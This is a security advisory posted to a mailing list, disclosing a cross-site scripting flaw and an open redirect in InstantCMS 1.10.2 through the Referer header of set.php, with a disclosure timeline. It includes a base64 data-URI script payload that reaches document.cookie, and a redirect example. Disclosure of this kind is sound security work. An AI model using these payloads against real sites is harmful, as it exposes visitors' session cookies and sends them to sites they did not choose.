InstantCMS version 1.10.2 suffers from a cross site scripting vulnerability via the REFERER header.
1330421878433fec6be8b29d7a4a4472
Hello list!
These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.
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Affected products:
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Vulnerable are InstantCMS 1.10.2 and previous versions.
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Affected vendors:
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InstantSoft
http://www.instantcms.ru
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Details:
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Cross-Site Scripting (WASC-08):
GET request to http://site/modules/mod_template/set.php with setting Referer
header.
Referer:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Redirector (URL Redirector Abuse) (WASC-38):
GET request to http://site/modules/mod_template/set.php with setting Referer
header.
Referer: http://websecurity.com.ua
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Timeline:
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2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1.
2013.07.17 - announced at my site.
2013.07.19 - informed developers about first part of the vulnerabilities.
Ignored.
2013.07.31 - informed developers about another part of the vulnerabilities.
Answered, but refused to fix.
2013.08.02 - reminded developers about first letter with holes and explained
why to fix them.
2013.08.02 - developers released InstantCMS 1.10.2 without fixing any
informed vulnerabilities. Both above-mentioned holes work in it.
2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
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